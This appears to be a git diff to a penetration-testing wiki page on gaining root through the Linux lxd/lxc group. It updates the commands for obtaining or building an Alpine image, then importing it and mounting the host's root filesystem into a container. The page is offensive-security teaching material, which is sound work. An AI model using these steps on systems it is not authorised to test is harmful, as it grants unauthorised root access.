diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 28e45ee20..a38417ae3 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -8,19 +8,24 @@ If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root ### Method 1 -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +You can download an alpine image to use with lxd from a trusted repository. +Canonical publishes daily builds in their site: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/) +Just grab both **lxd.tar.xz** and **rootfs.squashfs** from the newest build. (Directory name is the date). + +Alternativelly you can install in your machine this distro builder: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (follow the instructions of the github): ```bash -sudo su # Install requirements sudo apt update -sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools +sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage # Clone repo +mkdir -p $HOME/go/src/github.com/lxc/ +cd $HOME/go/src/github.com/lxc/ git clone https://github.com/lxc/distrobuilder # Make distrobuilder -cd distrobuilder +cd ./distrobuilder make # Prepare the creation of alpine @@ -28,14 +33,11 @@ mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml -# Create the container -## Using build-lxd -sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 -## Using build-lxc -sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 +# Create the container - Beware of architecture while compiling locally. +sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64 ``` -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: +Upload the files **incus.tar.xz** (**lxd.tar.xz** if you downloaded from Canonical repository) and **rootfs.squashfs**, add the image to the repo and create a container: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -54,7 +56,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t > [!CAUTION] > If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands +> Run **`lxd init`** and set-up all options on default. Then **repeat** the previous chunk of commands Finally you can execute the container and get root: